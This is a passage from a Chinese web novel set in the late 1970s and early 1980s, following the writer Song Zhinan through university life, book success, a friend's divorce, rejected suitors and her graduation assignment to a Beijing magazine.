世间万物就是这样,小坏小怪遭人厌恨,大坏大怪被人敬仰。宋知南现在成功了,她说什么都是对的。 宋知南也没忘了两个老朋友,给胡记者和陆清云各送了一包河西特产, 同时也答应了两人的独家深度专访。 宋知南这几天很忙碌,各种宴请邀约不断, 还要接待一些亲友。 大姐宋知春带着男人和两个孩子闻讯也来了。 宋知春得知三妹成为名人后,本来还有些不适应, 一到家,看到她仍跟以前一样,那股不适应很快就没了。 她拉着妹妹嘘寒问暖:“学校食堂的伙食怎么样?住的怎么样?跟同学老师相处得还行吧?” 宋知南耐心地一一回答:“学校伙食还行,宿舍是八人间,大家处得挺好的,老师大部分还是挺好的。” “那就好。” 宋知春问完宋知南又问宋知夏,宋知夏也说一切都挺好。 宋知南跟大姐说完话,开始分发礼物。 给宋知夏的是两本书,宋冬宝的是一顶鸭舌帽,宋知春的是一块花布和一包土特产,两个孩子一人一套连环画。 两个孩子一起欢呼:“哇,这么多小人书。”他们以后可以在小伙伴中横着走了。 宋知南鼓励兄妹俩:“小桐小松,你俩要好好学习,以后也要考大学,小姨会常给你们寄书看。” 两人用力点头:“嗯嗯。” 宋知春夫妻俩今天是跟人换班来的,明天还要上班,吃了顿饭,下午就要回去。 “知夏知南,你们有空去趟我家。” “行,我们开学前会去的。” “你们都好好的,有啥事就给我写信,发电报也行。” “好。” 宋知春刚离开,何黛章无双就领着一大帮人来了。 “南姐,我们好想你。” 何黛没怎么变,章无双倒是更活泼了。 两人身后跟着的都是纺织厂考上大学的女工。 不管是比宋知南大还是小,她们一律为她为南姐。 宋知南问了一下她们的大学生活如何。 大家一提这个就眉飞色舞:“挺好的,幸亏我们去考大学了。大学跟工厂真的不一样,我们读了很多书,长了很多见识。” 宋知南继续鼓励她们:“咱们是恢复高考后的第一届大学生,你们也看到了,眼下咱们国家正面临着人才断层,咱们毕业后都是建设国家的中流砥柱。你们以后一定要珍惜这个机会,毕业后要以事业为重,凡事先考虑自己。不要为他人牺牲。” “南姐,我们会记住你的话的。” 宋知南要留她们吃饭,大家觉得她们人太多了,屋里都坐不下,都懂事地婉拒了。 最后只有何黛和章无双留了下来。 两人一人占据宋知南的一边。 “南姐,你的小说我都读了,我的同学知道你是我的好朋友后,都来向我打听你。” “南姐,你什么时候也去我们学校做个演讲?” 宋知南笑着说:“以后会有机会的。” 两人又同时问起了李群英:“南姐,我听说群英怀孕了?” “是的。” “好想她呀,也不知道她什么时候能回来。” 宋知南说:“她暂时回不来。” 宋知南想起自己的徒弟边月,就问她回来没有。 何黛说:“边月回来呆了两天又回学校了,她在学校勤工俭学。没能见到你,挺失望的。” …… 宋知南在家呆了一个月,黑米生下了三只小狗崽,两母一公,三只小狗都是黑白花的。 宋知南叮嘱宋冬宝:“好好看着它,别让它再怀上了。生崽对狗身体不好,你看它的毛都不亮了。” “行,我会好好看着它。” 宋知南摸着小虎和黑米,许诺道:“你们乖乖地在家,等我毕业后就来接你们。” 宋冬宝赶紧提醒姐姐:“姐,别忘了还有我。” “行,还带着你。” 八月中旬,宋知南跟宋知夏一起离开了青阳。 大家依依不舍地送她们两人离开。 宋冬宝牵着狗抱着猫,两眼泪汪汪:“二姐,三姐,你们要一放假就要回来呀。我一个人在家好孤单。” 明明年纪轻轻的,硬是整出了空巢老人的架式。 宋知南一回到学校,就发现宿舍里堆着五六个滚圆的大西瓜,桌子上还放着一篮子甜瓜。 “谁买这么多西瓜?” 张小凤笑着说:“我从老家背来的。” “这得多沉呀。” 张小凤不好意思地说:“平常总吃你们的,我也想让你们尝尝我老家的特产,这是我奶奶自己种的,沙瓤的,特别甜。” 甜瓜是魏秋月带来的。 张小凤去水房把西瓜洗干净,抱回来用刀一切,只听得咔嚓一声,西瓜很干脆地裂开了,从里面冒出一股凉气和清甜。 大家聚拢在桌前啃西瓜。 啃完西瓜,魏秋月又招呼大家吃甜瓜,吃到最后,大家的肚子撑得也像西瓜一样滚圆。 吃完瓜,于蓝迫不及待地给大家分享八卦新闻:“你们知道吗?78级中文系招了100个学生,里面有40多个女生。” 张小凤说:“南姐早说了,大学的女生肯定会越来越多的。” 于蓝接着说:“而且中文系下面还设了几个专业,有一个叫古典文献专业,另外两个专业是新闻和文学,咱们是文学专业。老师说,以后咱们三个专业重合的公共课要在大教室一起上。” 开学后,河西大学开始热闹起来了。最明显的是学生多了很多。77级只招了几百名学生,再加上几百个工农兵大学生,总共也就一千多人。78级一下子招收了一千多名本科生。 大家没事就去看新生,顺便帮忙指指路抬抬行李。 宋知南看了一圈回来得出结论:“这一届男生有几个长得不错,关键是年轻,不像咱们那一届,老帮菜太多。” 77级老帮菜们就在旁边默默听,没一个敢吱声。 学生一多,各种社团也多起来,有人要办校刊,有人成立读书社,有人成立文学社,还有人成立了辩论社,于蓝过去询问,大家一听她是77级中文系的,直接说明:“辩论社只接受宋知南的指导,但不能让她参加,否则别系的人都不敢参加。 于蓝回来愤愤不平地说道:“这都是些什么人,真是输不起。” 宋知南反过来安慰于蓝:“没事的,我现在也懒得跟他们辩了,我得在报纸上骂人。” 在学校骂,只有那几十人能听见,传播范围最多也就一个河西大学。在报纸上骂就不一样了,能传播到全国,既有大量杠精值还有稿费。 时间过得飞快,转眼间就到了1978年年底,十一届三中全会召开之后,社会风气又开放了一些,各种禁锢逐步解除,人们的思想也逐步解放。文学复兴的步伐也随之加快。 洪环宇眼看着时机成熟,各项准备工作也做得差不多了,便出版了《宋知南文集》一套三本,每本定价1块五,第一版只出版了3万册。原本打算只是试试水,毕竟宋知南以前也没出过书。 只不过情况远远超出了洪环宇的预料,3万册很块脱销了。出版社连夜加印27万册,还是不够。第三版又印了20万册。 而宋知南也拿到了20多万版税,在这个时代,20多万是一笔大钱。 书出版后,宋知南的名气再次上升一个台阶。各种杂志的约稿信纷至沓来,宋知南有些应接不暇了。 催稿最狠的还是李群英,怀着孕也不耽误她经常催宋知南。 宋知南劝她好好休息,李群英振振有词:“看稿而已,又不累,不用休息。再说了,我这是在胎教,我现在多看点书,宝宝也能吸收点,说不定生下来就能出口成章。” 1979年1月10号,李群英在协和医院生下了女儿成章,对,孩子名字就叫成章,小名要文。 宋知南给李群英母女发去贺电。 李群英让钟山替她回电:“为了庆祝成章的出生,你投给我一个长篇吧。” 宋知南无言以对,李群英这个编辑敬业得有点过火了。 宋知南开始准备下一部长篇小说《唐厂长改革记》,为了写这篇小说,宋知南搜集了很多资料,采访了很多一线工作者,还得吃透中央当前的政策和预测以后的趋势。 宋知南在紧锣密鼓地准备自己的长篇小说时,李群英又来了一封信,这次终于不是催稿的了,是为了她的家事写的。 她的丈夫钟山和婆婆想出国,钟山的哥哥钟城十多年前去了苏联留学,后来辗转到了美帝。 钟山在大运动中被关押和劳改也跟他哥哥有很大关系。现在政策宽松,双方又取得了联系。母子二人都想去美帝跟亲人团聚。他们也想带着李群英和孩子一起去。 李群英不太想去,她在信里写道:“虽然咱们国家还比不上美帝,可是我能感觉到她在一点点变好。这里有我热爱的事业,有我的家人和朋友,我不想背井离乡,不想人到中年再从头开始打拼。最关键的是,这不是我想走的路。我和钟山发生了自结婚以来最严重的分歧。知南,如果我因此而离婚,你会支持我吗?” 宋知南思索片刻,便回道:“我支持你的决定。你说得对,咱们国家确实在一点点变好,去美帝物质生活会好很多,但是你别忘了,我们到别人的国家就是二等公民,我们进入不了他们的核心圈层,成不了中流砥柱。如果你要离婚,我希望你不要清高,要多给你和孩子争取利益,房子、钱尽量多要。” 宋知南迅速回了信,她发现周围不知道什么时候兴起了出国热,有点条件的都在讨论出国,仿佛不出国就不成功似的。 就连寝室的人也在讨论这个问题:“老四,我觉得咱们宿舍就你最有可能出国,你想出国吗?” 宋知南的反应很平淡:“以后有机会去讲学和旅游,暂时没有留学的打算。” 于蓝说道:“我听说国外特别发达,生活条件特别好,就像天堂一样。” 宋知南笃定地说:“这世上从来没有天堂,人间就是人间,但凡想在人间建造天堂的最后都变成了地狱。” 大家一齐竖起拇指:“老四就是有智慧,这话听上去贼有哲理。” 宋知南给李群英回信之后,一直等着她的消息。 没想到李群英她妈倒先打电话来了。 “黄阿姨好,您找我有什么事吗?” 黄桂枝也有些不好意思:“哎呀小宋,这么晚了打扰你实在不好意思。我最近为群英的事愁得睡不好觉,思来想去,我觉得你俩关系一直挺好,你又是大作家看问题肯定比普通人透彻,我就想跟你聊聊。那什么,群英要跟钟山离婚,你能不能帮我劝劝她,这孩子都生了,日子过得好好的哪能说离就离呢。” 宋知南反问道:“黄阿姨,这事我也听说了,群英跟钟山之间的分歧是,钟山想要出国,群英不想出国。我问您一个问题,您和李叔舍得群英出国吗?” 黄桂枝顿了下,叹了口气,说道:“你要问舍不舍得,那肯定是舍不得。可是为了她的前途着想,我们再不舍得也只能忍着。” 宋知南说:“可问题是群英自己不愿意出国,她热爱她现在的工作,也不想远离亲人朋友到陌生的国家重新开始。” 黄桂枝无奈地说:“那也不能离婚呀,可以让小钟先出国,他以后还有可能回来的。” 宋知南戳破她的幻想:“黄阿姨,出国的没有几个愿意回来的,与其吊着群英,倒不如痛快地离了。” “可是,群英离婚后一个人带着孩子怎么过呀?她在首都,我们在青阳,她身边一个亲戚朋友都没有,要是有点什么事,我们只能干着急,一点忙也帮不上。” 宋知南考虑半晌,劝道:“黄阿姨,我是这么想的,其实就算是离婚,情况也没有你想的那么坏。群英有正式的工作,而且收入不低。钟家在首都有房子,我建议群英要房子。你跟李叔也退休了,干脆去首都帮着她带孩子,正好也能与女儿团聚。至于女婿,以前你们也没有女婿,现在没了就没了,还多了一个孙女,以后孩子就跟群英的姓,姓李,顺李成章,你听听多好。至于别人的议论什么的,你放心吧,以后离婚的人会越来越多的,首都那边更多,大家都习以为常了。只要你们自己不在意,根本就没事儿。现在群英是最需要心理支撑的时候,你们一定要无条件地站在她这边呀。” 黄桂枝那边陷入了长久的沉默当中。 她本来是想让宋知南劝李群英不要离婚的,现在被她这么一说,她竟然觉得女儿离了婚也没啥。这都叫什么事儿呀。 宋知南劝完黄阿姨后就回寝室睡觉了。第二天,跟往常一样上课吃饭写稿。 过了两天,李群英的电话也打过来了。 她的笑声仍跟以前一样爽朗:“南姐,不愧是你,我妈就得你这样的人去劝。她竟然不坚决反对我离婚了,还主动问我要不要过来帮我带孩子。这可解决了我的一大后顾之忧啊。” 宋知南担忧地问:“你现在情况如何?你跟钟家有没有撕起来?我可以随时过去提供支持。” 李群英笑道:“没什么可撕的,我们是和平谈判。钟家还算大方,把房子留给了我,家里的钱也留一大半给我,以后等他们在那边安顿好了,会每月给成章寄生活费,等孩子再大点,我可以带着孩子去探亲,他们有空也会回国探视。如果我爸妈真的愿意过来帮我带孩子,我最后的担忧也没了。” 聊完私事,李群英丝滑地转移话题:“宋老师,你的这个长篇一定要投给我们家,我说服我们总编,开通了一个《燕京文艺》长篇专刊,为了你开专刊,你就说有没有诚意吧?” 第142章 李群英说为宋知南开辟专号那是说好听话, 更大的可能是杂志社嗅到了新时代的商机。 此时,整个龙国处在文化大饥渴当中, 对精神食粮的需要十分旺盛。他们开设长篇专刊也是顺应时代潮流,当然,这也方便了宋知南。 她的《唐厂长改革记》就发表在了《燕京文学》长篇专号上。李群英的女儿李成章也成了杂志社年纪最小的编外人员,人称催稿小能手。 据说主编捶胸顿足,悔不当初,他为什么不给自己的女儿取个小名叫催稿呢。 宋知南的稿子顺利刊登以后,李群英在寄样刊时,顺便寄了一张李成章的照片,并在信中写道:“大家都说孩子集合了我们两家人的优点,我只能说这孩子在娘胎里就很努力,她长成这样也是尽力了。” 宋知南一看照片, 不禁点头赞同, 这孩子长得这么可爱, 确实是竭尽全力了。 《唐厂长改革记》正好赶上改革文学的风潮,影响很大, 杂志连载结束后, 就有出版社上门要出单行本,首印10万册,书一上市,就被读者一抢而光。 第二版再印15万册,依旧不愁卖。后面还有可能要印第三版。因为是改革文学,不光是文化圈和普通读者看,有些单位的工作人员组团来买, 就想从中得到点启发。 因为了宋知南这个招牌,其他作者纷纷向《燕京文艺》投稿。 杂志社靠着这波东风, 名气大涨,在首都杂志圈总算有了一席之地。 李群英因为工作能力突出,荣升为主编。 李群英升职那天,钟山和他母亲的签证也顺利办下来了。他和李群英按之前商量好的去办理离婚手续。 办完手续,李群英给宋知南打了个电话,百感交集地说道:“我今天升了职,但也失去了丈夫。这一得一失真是让人感慨呀。” 宋知南安慰道:“你应该说,你升了职,同时又重获了自由,这是双喜临门,你得庆祝一下,去吃顿好吃的。” 李群英笑道:“你说得对,我并没有失去什么。我这格局跟你比,到底还是差那么一丢丢。” 宋知南:“只差一丢丢而已,你就是全国第二,已经遥遥领先于他人了。” “哈哈哈。” 李群英畅快地笑了,胸中的那一点郁气也随之消失得无影无踪。 说完私事,李群英接着问道:“宋大作家,问你个正事,你的毕业去向想好了没有?是留校进机关?还是进文联和杂志社?” 宋知南想了想:“我想当自由作家,不想要单位和领导。” 李群英认真建议道:“就目前来说,你还是需要一个单位的,过几年再要自由吧。我试探过我们总编,问能不能把你这个特殊人才引进我们杂志社、总编说,如果你愿意我们就引进你,我们可以帮你解决户口问题,你也可以不用坐班,但是有一条,我们条件有限,暂时分不了房。总编说你可以先住他家。他家的房子比较大。我的建议你是可以先住我家。” 宋知南说:“我谁家也不住,我准备买房,你帮我打听一下,那边有没有人卖房。” 李群英惊呼道:“差点忘了,你现在是大富婆了。失敬失敬。对了,我们邻居一家好像也要出国,正准备卖房。今天就先聊到这儿,我一会儿就去问问他们。” 李群英匆匆挂断了电话。 宋知南暗自感慨道:这个李群英真是她的福星啊,上一次帮她解决了住房问题,这次又来帮忙了。 宋知南回到宿舍,大家正围着她的收录机听邓丽君的歌。 于蓝和王琳听得如痴如醉,一看到宋知南回来,就问她:“老四,你这些磁带都从哪儿弄的?” “祝景星和孟金秋借给我的。” 魏秋月笑着说:“老四是真有面子,我听说孟金秋可宝贝这些磁带了,别人借他都不肯,但是老四不用开口,他主动借。” 王琳也说:“还有那个祝景星,买到好书先问咱们要不要,他总能弄到一些内部书。” 于蓝接着说:“我在电影厂打杂的时候,听人提过祝景星,他好像是高干子弟。” 张小凤诧异道:“是吗?平常看不出来啊,他一直都很低调,不显山不露水的。” 谢欣然说:“一般有点底蕴的家庭都挺注重家教的,但你可以从他的日常生活看出一二来。” 魏秋月笑吟吟地看着大家:“孟同学祝同学,甚至苏同学人都挺不错,你们谁想找对象的真的可以认真考虑一下。” 大家笑着捶打魏秋月。 现在的大学在某些方面还是挺保守的,学校明文规定不准谈恋爱。不过,上有政策,下有对策,那些彼此有意的男女同学私下里悄悄谈。只要不太明目张胆,学校也是睁一只眼闭一只眼。 301宿舍里的女生除了魏秋月外,都收到男生的明示或暗示。但大家的心思都不在这上面,一直到现在也没人谈恋爱。 魏秋月做为老大姐,不禁有些着急,她觉得大家迟早要找对象,那还不如找一个学历相当又知根知底的男同学。 可惜了,这些姐妹们注定要辜负魏秋月的心意。 张小凤第一个表示,“我要考研究生,不谈恋爱。” 于蓝不屑地说道:“我觉得这些男生都配不上我们。” 王琳换了一盘磁带:“他们确实配不上,来来,继续听歌。” 收录机里传出了《年轻的朋友们来相会》。 “年轻的朋友们,今天来相会,荡起小船儿暖风轻轻吹。花儿香,鸟儿鸣。” 这首歌本来是明快爽朗的,但大家却听出了一丝惆怅和伤感。 张小凤语气失落:“要不了多久,你们就该像鸟儿一样飞出301,飞向全国各地,只有我还留在学校。你们参加工作以后,再想聚齐就难了。” 12个人中只有张小凤一人打算继续考研究生。 宋知南说:“也不一定,说不定有人跟你一起留校呢。” 大家也跟着叹气:“谁知道学校会把我们分配到哪里呢。” 关于他们的毕业分配,各种小道消息层出不穷。 有人说,他们77级的同学,会有一部分进机关单位,有一小撮留校,还有一部分配回原籍。而那些带工资上学的学生一般得回原单位。众说纷纭,大家谁也不知道最后结果怎样。 77级是78年春天入学,他们将在82年三月毕业,78级在7月毕业。他们统称为82届毕业生。 还没毕业,但很多同学心中已经充满了离别的情绪。 有的同学更加疯狂的学习,有的同学焦躁地四处打听毕业分配的事情,还有的人趁此机会了却自己的心事和遗憾,该表白的表白,该写信的写信。 301宿舍的女生收到的表白信激增,宋知南时不时地打趣一下姐妹们,只是她万万没想到自己也会收到告白。 这人不是别人,正是爱跟她作对的李长胜。 这天晚饭后,宋知南照例在学校的树林里散步构思,每天走上三大圈,用时45分钟。这是她每天的例行功课。 只是最近小树林里的鸳鸯多起来了,她只能换条人少的路线散步。 宋知南在走第一圈时,遇到了李长胜,两人点头致意,交错而过。走第二圈时又遇到了他。 第三圈又遇到李长胜时,宋知南只好问道:“李长胜,你是在跟踪我吗?” 李长胜红着脸,吞吞吐吐地说:“宋知南同学,我知道我配不上你,我犹豫了很久,纠结了很久,还是不想留下遗憾,我下定决心告诉你,其实、我喜欢你。” 宋知南是有惊无喜。 她沉默片刻后,问道:“李长胜,同学四年,你跟我作对两年,后两年不是你改了,是你觉得自己不行了。到最后,你跑来告诉我,你喜欢我,你是不是跟别人打赌才跑来表白?” 李长胜头摇得像拨浪鼓似的:“不不,我们没有打赌。我是真的喜欢你,我是后知后觉,就因为我喜欢你,所以才跟你作对。” 宋知南:“你有大病吧?” 李长胜急声辩解:“你不懂我们男生,我们都是这样的,喜欢谁就跟谁作对,就是为了引起女生的注意。” 宋知南用肯定的语气说:“所以我说你们都有大病,来来,我教教你,喜欢一个女生应该什么做。你们首先长得不能太丑,要尊重女生,要文明讲卫生,要大方,不能抬杠。我们说话时,你们要无条件支持。要是遇到我这种的更好办,一见到我就跪下高呼万岁,说皇帝陛下我爱你。” 李长胜站在原地石化发呆,宋知南迈着轻盈的步伐潇洒离开了。 走出树林时,她朝里面做了一个动作:退退退。 李长胜向宋知南表白的事,她谁也没说。 第二个来表白心迹的人是祝景星。 这几年来,两人相处得还不错。互相交换杂志和书看,互相借磁带听。祝景星觉得宋知南有才华有个性,宋知南觉得对方是个正常男生。但也仅此而已,再深的接触就没了。 祝景星性格稳重理性,有一种超出他这个年龄段的成熟。 他跟宋知南表白时也挺理性,他送给她一本杂志,里面夹着一封信,信中表达了他的心意。 “……我欣赏你的才华和个性,欣赏你那自由奔放的灵魂,你的身上散发着一种光芒,我不由自主地想靠近你,想让你指引我。知南同学,做我的革命伴侣吧,我会做你的骑士,为你保驾护航。做我的伴侣,我不会干涉你的自由。你不会失去什么,相反,你还会得到志同道和的伴侣和温暖的家庭。” 宋知南想了想,还是给祝景星回了一封信:“奇了怪了,我本来就有自由,为什么要先让渡给你,然后再由你恩赐给我?你不是逗我吗? 祝景星,喜欢我,是你这辈子做得最叛逆的事吧?我不过是你反抗父母的一个工具而已。 人是一种很奇怪的动物,缺什么就向往什么,在你的成长过程当中,你应该很缺自由,缺自我,也缺自信。而我,非常自信,极度自我,所以你骨子里想成为我这样的人。但是没用,你娶了我也不会成为我,你还会限制我。你要做的就是想清楚自己到底要什么,要成为什么样的人,不计代价地去争取去反抗。” 宋知南把杂志还了回去,信就夹在杂志当中。 她本来以为这事会跟李长胜的表白一样,只要她不说对方不说,这事就没人知道。 但令人意外地是,还是有人发现了。 原来是祝景星的父母发现了,就派人来学校打听宋知南的为人和风评。 这事就悄悄地传开了。 同学们不敢明面上议论,但私下里的议论是少不了的。 301宿舍的女生自然也都知道了。 终于,在晚上的卧谈会上,魏秋月大胆地发起了这个话题。 “老四,你跟我们说实话,祝景星真的给你写信了?” 宋知南坦率承认:“写了,我拒绝了。这有什么,咱们寝室的女生不都收到过信吗?” 魏秋月说道:“祝景星为人低调谦逊,稳重成熟,家境又好,其实蛮适合你的。老四,说真的,我总担心你这种性格会招灾惹祸,如果你能嫁进祝家那样的家庭,你就多了一层保障。” 宋知南淡声笑道:“魏大姐,高嫁吞针,低嫁吃屎。咱们女人缺什么就靠自己去挣,不论多少,挣得的都是自己的。 那种所谓的高干家庭,只是听上去很好而已。 家里规矩一大堆,破事数不清,家里一般还会有个霸道专治的老登,他在外面对领导低头哈腰一整天,回到家里就当南霸天。 所谓高嫁的好处,就像是绿头苍蝇头上的那一点绿,你远远看上去,以为是绿宝石,凑近一看,是他大爷的绿头灯。 看上去很耀眼,其实很不堪。男的给你戴了绿帽子,你都得顾全大局,忍忍忍。婆家还高高在上的觉得你高攀了他们家。你说,像我这样一匹自由的野马,我在草原上想咋耍就咋耍,为什么要进他们的马厩?我只送他们一声呸,就他们也配?” 第143章 宋知南这番话一出, 众姐妹一齐沉默了。 虽然她们佩服过老四很多回,但这次更佩服了。 以前大家偶尔聊过个话题, 宋知南也说过类似的话,但她们都没有当真。从老四的行为来看,她是认真的。 她们真的没见过像她这样知行合一、始终不改初心的人。 魏秋月先开口问道:“老四,那你真的打算一辈子都不找对象吗?” 宋知南的语气温和而坚定:“我早就下定决心要独身一辈子。婚姻不适合我,它会极大的压缩我的个人空间,消磨我的才华和灵气,占用我的时间和精力,挤压我的自我,剥夺我的自由和权力。” 张小凤提出自己的疑惑:“可是老四,你一个真的能过好吗?我奶奶她们从小就告诉我,女孩最终都是要嫁人的, 我们村里没有一个女孩是不嫁人的, 那些失去丈夫的寡妇过得都很惨。” 就像她妈, 在她爸去世后立即改嫁了,妈妈虽然抛弃了她, 但奶奶并没有教她怨恨妈妈, 还说她妈是被生活的艰难吓走的,她也不容易。 宋知南笑着答道:“又是谁告诉你奶奶她们的呢?是传统习俗,为什么会有这些传统习俗?因为传统就是要让女人牺牲自己,就是要让我们燃烧自己照亮他人。 如果女人不结婚,那些男人该怎么办?他们去奴役谁剥削谁打骂谁呢? 事实上,不是女人需要婚姻,而是婚姻需要女人。就像鲜花本身并不需要花店, 但花店需要花。 但开花店的人会告诉每一朵鲜花,你们的归宿就是花店, 没有花店你们就没法存活。可是鲜花本来就在大自然中活得好好的呀。” 大家一起陷入深深的思考当中。 良久之后,谢欣然说出自己的疑问:“婚姻可能是种束缚,可是爱情呢?爱情应该是很美好的吧。” 进入80年代后,社会风气逐步开放,很多西方思潮传入中国,还有那些软绵绵的情歌,那些热烈的情诗,青年男女蠢蠢欲动,不少人都对爱情充满着向往。 “我觉得男人一般都没有爱情,有的只是生理冲动和利益。当他有冲动或是需要利益时,他们会表演爱情。别惊讶,我们每个人都是演员,都会表演。男人比女人更会表演。 你们再往深了想,我们的社会不鼓励女生读书上进,不鼓励我们争权夺利,为什么偏偏鼓励我们结婚?结婚和爱情要真是好东西,耀祖和光宗不早就强强联合,双倍阳刚了吗?还能轮得到咱们女人?” 大家在黑暗中发出一阵爆笑声:“噗哈哈哈。” 宋知南下了论断:“爱情嘛,就是女人自导自演的幻想,然后再把幻想安到一个没有爱的物种——男人身上。专心恋爱的女人会失望绝望甚至疯狂,因为她在缘木求鱼,不是她没找对树,而是所有的树上都没有鱼。即便有人偶尔找到了,最后也会发现自己被骗了,因为那是条假装是活鱼的木鱼。” 马招云担忧地问道:“可是老四,你以后应该会面临着巨大的压力吧?” 这个社会还没有开放到可以包容的接纳异类的地步。坚持自我、与众不同的人注定要受到很多非议。 宋知南豪气地说:“没事,我这人抗压,我是带刺的弹簧,谁压我,我不但会反弹回过去,还会刺他一脸。” 这场深夜卧谈会,并没有一下子就改变了谁的思想。301的姐妹们以后该结婚还会结婚,该恋爱还是会恋爱。 但宋知南的话像一粒种子,深深地埋进了她们的心里,在以后的某个时间会破土而出。 宋知南从来不强迫别人必须跟她一样,她不是一个推销员,非得推销自己的思想和做法。 现在外面是茫茫黑夜,大家都在沉睡,你强行把她们叫醒,她们不知道去往哪里该怎么办?她们心志不坚被黑夜吞噬了又该怎么办? 那些爱情和婚姻的苦,很多女人必须亲自尝过了才知道。 她认定的路,她自己走。如果觉得夜太黑,就让自己成为灯,成为光。 也别埋怨别人为什么不是光,因为别人跟她不一样,别人没有她的条件,没有她的抗压能力。她尊重自己,也尽量尊重别人的活法。 宋知南思索完毕,沉沉地睡了过去。 次日清晨阳光璀璨,又是新的一天。 宋知南起床洗漱吃早饭,跑着去上课。 上完课,吕会琴老师叫宋知南去她的小办公室。 老人家的头发更白了,但精神很矍铄。 她用慈祥的目光看着宋知南说:“小宋,我跟周老师胡老师都觉得以你的资质和名气可以留校当老师,学校考虑再三,说你不适合留校。你有想去的单位吗?我可以帮你留意一下。” 宋知南恭敬地答道:“目前还没有,吕老师您有什么建议吗?” 吕会琴早考虑过这个问题,便说:“我个人觉得你的性子不太适合机关单位,那里会消磨掉你的灵气和才华,还会压抑你的个性。要不,你去作协和文联吧。” 宋知南笑着点头:“老师您的建议正合我意,我毕业后大概要去这些单位。您放心,愿意要我的单位还是挺多的。” 吕会琴笑道:“就冲你的名气和才华,很多单位都会抢着要,其实我还是想让你留校,可惜呀。” 可惜学校领导脑子有问题,说宋知南的性格太过尖锐,会给学校带来很多非议,不适合留校。 宋知南下午跟宿舍的姐妹们一起大教室上课时,就发现同学们的目光总是有意无意地瞥向她,还有人窃窃私语。 宋知南面带微笑地走过去,大大方方地问道:“同学,你刚才在说什么呢?来,当着我的面说。” 那个女生有些不好意思地答道:“没说什么。” 还有男生在旁边挤眉弄眼,他们也只是挤眉弄眼,但是谁也没胆量敢当着宋知南的面说什么。 上完课,张小凤悄悄递给宋知南一本杂志,她一看名字是首都地下民刊《今天》,这种杂志可不太好弄到,上次是李群英给她寄了两本。 她翻开一看,里面有一封信,看字迹是祝景星的。 “宋同学,我给你带来了很多困扰,我郑重地向你道歉。 拒绝是你的权利,但表白也是我的权利。我们都行使了各自的权利。对于结果,我深感遗憾但并无怨气,希望我们以后仍跟以前一样相处,祝你大展宏图,前程似锦。” 回到宿舍后,于蓝迫不及待地说道:“老四,我打听到了,刚才那些同学在议论你和祝景星的事。好像是他家要他毕业后娶一个门当户对的姑娘,他不愿意。有的同学议论说,你的家世不行,但你个人的名气和才华弥补了这点不足,你嫁给祝景星,也算是门当户对。” 王琳接着补充道:“我听说祝景星的爷爷和爸爸都很强势霸道,在家里说一不二。” 宋知南笑道:“他爷他爸强势霸道,所以他要找想找个同样强势霸道的对象去对抗一下。如果我愿意,反抗家长的任务就落到了我头上。” 魏秋月笑着说:“我得替祝同学说句话,我觉得他对你是真心的。” 马招云也说:“我也觉得是。” 宋知南摇头:“我没说他不真心,只是他那种家庭出身的人哪怕是真心也一定掺杂着权衡算计,这很正常。这事已经过去了,大家别太把它当回事,该干嘛干嘛。” 宋知南压根就没把这事当成大事看待,她长得好,又这么有名气有才华,有人喜欢再正常不过。别人也有喜欢她的权利,如此而已。 李长胜在得知祝景星也被宋知南拒绝后,心情相当复杂。 可能她不止是看不上自己,她是看不上所有的男同学吧。毕竟,祝景星无论是性格、成绩、长相还是家世都是他们男生中的佼佼者,宋知南连他都看不上,又能看上谁呢? 李长胜不由得又想起宋知南的那番惊世骇俗的言论,心里还是堵得慌,有次他没忍住,就问班里岁数最大的周鹏:“鹏哥,如果一个女生跟你说,男人喜欢她就应该跪下来高呼皇帝陛下我爱你。你说她究竟是什么意思?” 周鹏张大嘴巴:“哪个女生这么霸气这么变态啊?咱们认识的人中最有可能说这话的就是宋知南。” 突然,周鹏想起了什么,一把抓住李长胜,目光炯炯地盯着他:“长胜,你跟我说实话,你是不是也向宋知南表白了?然后也被她拒绝了,她就对你说了这番话对不对?” 李长胜目光闪烁,支支吾吾:“没、没有,我觉得我配不上她。”这事千万不能传出去,宋知南拒绝祝景星的事传开了,大家会惋惜可惜。男主角一换成他,大家肯定会立即换一番说辞,说他是癞蛤蟆想吃天鹅肉。 周鹏松开李长胜:“你没表白就对了,做为过来人,我告诉你,对于宋知南这种女生你们一定要离得远远的。找对象一定要找贤惠朴实温柔的,最好是家境好工作好的。谁要是找了她这种的,不被欺负死也得被活活气死。” 李长胜敷衍地回应:“嗯嗯。” 大家议论了几天,也就慢慢淡下去了,毕竟每个人都有那么多事情要忙要操心。 301宿舍的好消息一个接一个过传来。 张小凤考上了本校的研究生,马招云被分到青阳师专当老师,魏秋月则被分配到她籍贯所在地的机关单位。 谢欣然被分到《河西日报》当编辑,于蓝和王琳则进了七一电影厂。 至于宋知南,对她伸出橄榄枝的单位更多,河东省作协、河西电影协会、《东湖》杂志社等等。 宋知南最后选了《燕京文艺》杂志社,她先弄个单位混一混,过几年就辞职,到时一边写作一边下海。 她选好单位后,还跟宋知夏通了个电话,问问她分配在哪里。 宋知夏说:“我留在学校当辅导员。湘湘的分配方案也下来了,她被分到了东平服装厂。” 当宋知夏听说宋知南要去首都时,兴奋中带着一丝惆怅:“首都是个好地方,可是咱们又得分开了。” 宋知南安慰她:“没事的,要不了几年咱们就能团聚。你这个工作还不错,先干着,随时关注着国家政策,多学习多看报。找到自己的方向后就果断出手。” 301宿舍的姐妹知道了宋知南要去首都后,纷纷说道: “首都好啊,是政治文化中心,你挺适合那里。只是以后大家真的天各一方了。” 周日中午,宋知南接到了李群英的电话,电话一接通,那端就传来了一个清脆的童声:“南姨好,我是要文。” 宋知南诧异道:“要文,你说话都这么利落了。” 李群英接过电话,笑道:“都三岁了,能不利落吗?” 宋知南一想也是,时间过得真快呀,要文都三岁了。 “这是我家的电话,刚装上的,花了3千块,我爸妈心疼坏了。” 宋知南惊呼:“电话竟然这么贵?” “就这还得排队等候,我等了一年多。” “好吧。” 两人寒暄几句,李群英就进入正题:“你几月份来?邻居那边我已经问好了,她家的房子前年刚装修的,打理得挺好,但是要价也贵,要1万五,你要嫌贵,咱们就多看几家。” 宋知南想了一下说道:“我准备3月初出发,房子等我过去看看再说。” “行,你出发前记得给我打电话,你现在记一下电话号码,到时我去接你。咱们好几年没见了,我很激动。” 宋知南笑着说,“上次咱们的口号是苟富贵,互相旺,咱们做到了,你旺我也旺。现在咱们进入了人生的新阶段,换个口号:他日再相逢,清风动天地。” “好好,你这股文坛的清风快快吹到首都来吧。” 第144章 宋知南只是喊个口号, 没想到天气还挺应景,她来首都的那天是个大风天。 大风起兮尘飞扬, 